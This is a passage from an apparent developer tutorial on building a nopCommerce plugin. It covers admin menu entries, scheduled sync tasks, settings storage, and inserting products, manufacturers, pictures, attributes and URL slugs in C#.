            this._webHelper = webHelper;

            this._scheduleTaskService = scheduleTaskService;
        }

- Declare base methods:

        public override string GetConfigurationPageUrl()
        {
            return $"{_webHelper.GetStoreLocation()}Admin/ProductFeederMPlug/Configure";
        }

        public string GetConfigurationUrl(int discountId, int? discountRequirementId)
        {
            return $"{_webHelper.GetStoreLocation()}Admin/ProductFeederMPlug/Configure";
}

- Adding menu item to the admin menu:

        public void ManageSiteMap(SiteMapNode rootNode)
        {
            var menuItem = new SiteMapNode()
            {
                SystemName = "Product Feeder MPlug",
                Title = "Product Feeder MPlug",
ControllerName = "ProductFeederMPlug",
ActionName = "Setup", Visible = true, IconClass = "fa fa-dot-circle-o", RouteValues = new RouteValueDictionary() { { "area", Web.Framework.AreaNames.Admin } }, }; var pluginNode = rootNode.ChildNodes.FirstOrDefault(x => x.SystemName == "Configuration"); if (pluginNode != null) pluginNode.ChildNodes.Add(menuItem); else rootNode.ChildNodes.Add(menuItem); }

-Installation method:

        public override void Install()
        {
            var task = _scheduleTaskService.GetTaskByType(Services.UpdateStoreTask.TypeName);
            if (task == null)
            {
                _scheduleTaskService.InsertTask(new Core.Domain.Tasks.ScheduleTask()
                {
                    Type = Services.UpdateStoreTask.TypeName,
                    Enabled = true,
                    Name = "MPlug Product Synchronizer",
                    Seconds = 60 * 10,
                    StopOnError = false
                });
            }
            else
            {
                task.Enabled = true;
                task.Seconds = 60 * 10;
                task.StopOnError = false;
                _scheduleTaskService.UpdateTask(task);
            }

            task = _scheduleTaskService.GetTaskByType(Services.UpdateOrderStateTask.TypeName);
            if (task == null)
            {
                _scheduleTaskService.InsertTask(new Core.Domain.Tasks.ScheduleTask()
                {
                    Type = Services.UpdateOrderStateTask.TypeName,
                    Enabled = true,
                    Name = "MPlug Order State Tracker",
Seconds = 60 * 10, StopOnError = false }); } else { task.Enabled = true; task.Seconds = 60 * 15; task.StopOnError = false; _scheduleTaskService.UpdateTask(task); } base.Install(); }

- Uninstalling:

        public override void Uninstall()
        {
            //do whatever you need to uninstall your plugin
            base.Uninstall();
        }


- Adding your own controller - Inherit your plugin controller from the BasePluginController class:

public class ProductFeederMPlugController: BasePluginController

- Declaring views:

        [AuthorizeAdmin]
        [Area(AreaNames.Admin)]
        public IActionResult Configure()
        {
            if (!_permissionService.Authorize(StandardPermissionProvider.AccessAdminPanel))
                return AccessDeniedView();

            return View("~/Plugins/ProductFeeder.MPlug/Views/Configure.cshtml");
        }

        [AuthorizeAdmin]
        [Area(AreaNames.Admin)]
        public IActionResult Setup()
        {
            if (!_permissionService.Authorize(StandardPermissionProvider.AccessAdminPanel))
                return AccessDeniedView();

            return View("~/Plugins/ProductFeeder.MPlug/Views/Setup.cshtml");
}

- Store scope detecting:

var storeScope = _storeContext.ActiveStoreScopeConfiguration;

- Store temporary information during session:

_cache.Set<string>("Progress", progress, TimeSpan.FromMinutes(30));

- Declare all instances of classes you need as constructor parameters and store them into fields:

public ProductFeederController(ICustomerService customerService, 
            Nop.Services.Shipping.Date.IDateRangeService dateRangeService,
            ILocalizationService localizationService,
            IPermissionService permissionService,
            ISettingService settingService,
            IStoreContext storeContext,
            Nop.Services.Catalog.ICategoryService categoryService,
            Nop.Services.Catalog.IManufacturerService manufacturerService,
            Nop.Services.Catalog.IProductService productService,
            Nop.Services.Catalog.IProductAttributeService productAttributeService,
            Nop.Services.Catalog.ISpecificationAttributeService specificationAttributeService,
            IGenericAttributeService genericAttributeService,
            Core.Infrastructure.INopFileProvider fileProvider,
            Nop.Services.Media.IPictureService pictureService,
            Nop.Services.Stores.IStoreMappingService storeMappingService,
            Nop.Services.Catalog.IProductTagService productTagService,
            Nop.Services.Seo.IUrlRecordService urlRecordService,
            Microsoft.Extensions.Caching.Memory.IMemoryCache cache)
        {
            this._dateRangeService = dateRangeService;
            this._customerService = customerService;
            this._localizationService = localizationService;
            this._permissionService = permissionService;
            this._settingService = settingService;
            this._storeContext = storeContext;
            this._categoryService = categoryService;
            this._manufacturerService = manufacturerService;
            this._productService = productService;
            this._productAttributeService = productAttributeService;
            this._specificationAttributeService = specificationAttributeService;
            this._genericAttributeService = genericAttributeService;
            this._fileProvider = fileProvider;
            this._pictureService = pictureService;
            this._storeMappingService = storeMappingService;
            this._productTagService = productTagService;
            this._urlRecordService = urlRecordService;
            this._cache = cache;
        }

- Save needed data into settings (DB table):

_settingService.SetSetting<string>("Categories", Newtonsoft.Json.JsonConvert.SerializeObject(finalcategories, Newtonsoft.Json.Formatting.None,
                        new Newtonsoft.Json.JsonSerializerSettings()
                        {
                            ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Ignore
                        }), storeScope, true);

- To avoid complexity of existing model extending - use generic attributes:

_genericAttributeService.SaveAttribute<int>(manuf, Feeder.gAttrID, manuid);

- Add store mapping for entities (in this case for Manufacturer):

_storeMappingService.InsertStoreMapping<Core.Domain.Catalog.Manufacturer>(manuf, storeScope);

- Use repositories to speed-up it work with DB and if you do not need all other logic and events to be occured (use with caution and be aware of it):

var productRepository = Core.Infrastructure.EngineContext.Current.Resolve<Core.Data.IRepository<Core.Domain.Catalog.Product>>();

- Adding a manufacturer:

manuf = new Core.Domain.Catalog.Manufacturer()
{
     Name = product.brandName,
     CreatedOnUtc = DateTime.UtcNow,
     ManufacturerTemplateId = 1,
     MetaDescription = product.brandName,
     MetaKeywords = product.brandName,
     MetaTitle = product.brandName,
     PageSize = 20,
     Published = true,
     UpdatedOnUtc = DateTime.UtcNow
};
_manufacturerService.InsertManufacturer(manuf);
_storeMappingService.InsertStoreMapping<Core.Domain.Catalog.Manufacturer>(manuf, storeScope);

- Adding date ranges / delivery dates:

daterange = new Core.Domain.Shipping.DeliveryDate()
{
      Name = deliveryText
};
_dateRangeService.InsertDeliveryDate(daterange);

- Adding product:

pro = new Core.Domain.Catalog.Product()
{
     ProductType = Core.Domain.Catalog.ProductType.SimpleProduct,
     VisibleIndividually = true,
     Sku = product.article,
     IsShipEnabled = true,
     MetaDescription = shortd,
     MetaKeywords = shortd,
     MetaTitle = name,
     Price = price,
     ProductCost = cost,
     AdditionalShippingCharge = Feeder.CalculateShipping(price),
     CreatedOnUtc = DateTime.UtcNow,
     UpdatedOnUtc = ((DateTime)product.modified).ToUniversalTime(),
     Name = name,
     ShortDescription = product.descriptionSnort,
     FullDescription = product.description,
     BackorderMode = Core.Domain.Catalog.BackorderMode.NoBackorders,
     MarkAsNew = true,
     AllowBackInStockSubscriptions = true,
     AllowCustomerReviews = true,
     Published = price != null,
     DeliveryDateId = daterange == null ? 0 : daterange.Id,
     LimitedToStores = true,
     OrderMaximumQuantity=int.MaxValue,
     OrderMinimumQuantity=1, 
     DisableBuyButton = pprice == null,
     ProductTemplateId = 1,
     ProductManufacturers =
     {
           new Core.Domain.Catalog.ProductManufacturer() { Manufacturer = manuf, Product = pro }
     }

};

productRepository.Insert(pro);

- Add pictures/images as files:

string iufn = _fileProvider.GetFileName(iurl);
if (!pro.ProductPictures.Any(a => a.Picture.SeoFilename.ToLowerInvariant() == iufn.ToLowerInvariant()))
{
      Core.Domain.Media.Picture propic;
      _pictureService.StoreInDb = false;
      propic = _pictureService.InsertPicture(data.Item2, "image/jpeg", iufn, pro.Name, pro.Name, true);

      _productService.InsertProductPicture(new Core.Domain.Catalog.ProductPicture()
      {
            Product = pro,
            Picture = propic
      });
}

- Adding Product Attribute:

pattr = new Core.Domain.Catalog.ProductAttribute()
{
     Name = name

};

productAttributeService.InsertProductAttribute(pattr);

pro.ProductAttributeMappings.Add(new Core.Domain.Catalog.ProductAttributeMapping()
{
     AttributeControlType = Core.Domain.Catalog.AttributeControlType.ColorSquares,
     IsRequired = true,
     ProductAttribute = pattr,
     ProductAttributeValues =
     {
          new Core.Domain.Catalog.ProductAttributeValue
          {
                AttributeValueType = Core.Domain.Catalog.AttributeValueType.Simple,
                Name = val, 
                IsPreSelected = true, 
                ColorSquaresRgb=rgb
          }
     }

- Adding Product Specification Attribute:

spattr = new Core.Domain.Catalog.SpecificationAttribute
{
       Name = name
};
spAttrRepository.Insert(spattr);
spao = new Core.Domain.Catalog.SpecificationAttributeOption()
{
       Name = val,
       SpecificationAttribute = spattr
};
spOAttrRepository.Insert(spao);

pro.ProductSpecificationAttributes.Add(new Core.Domain.Catalog.ProductSpecificationAttribute()
{
       AllowFiltering = true,
       ShowOnProductPage = true,
       SpecificationAttributeOption = spao,
       AttributeType = Core.Domain.Catalog.SpecificationAttributeType.Option
});

- do not forget to update Entity (Product in this case) after all changes:

productRepository.Update(pro);

- Adding Urls/Slugs to entities:

if (string.IsNullOrEmpty(_urlRecordService.GetActiveSlug(p.Id, typeof(Core.Domain.Catalog.Product).Name, 0)))
{
     slug = _urlRecordService.ValidateSeName(_productService.GetProductById(p.Id), p.Name, p.Name, true);
     _urlRecordService.InsertUrlRecord(new Core.Domain.Seo.UrlRecord
     {
           EntityId = p.Id,
           EntityName = typeof(Core.Domain.Catalog.Product).Name,
           LanguageId = 0,
           IsActive = true,
           Slug = slug
     });
}


Next post about adding message tokens...





1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y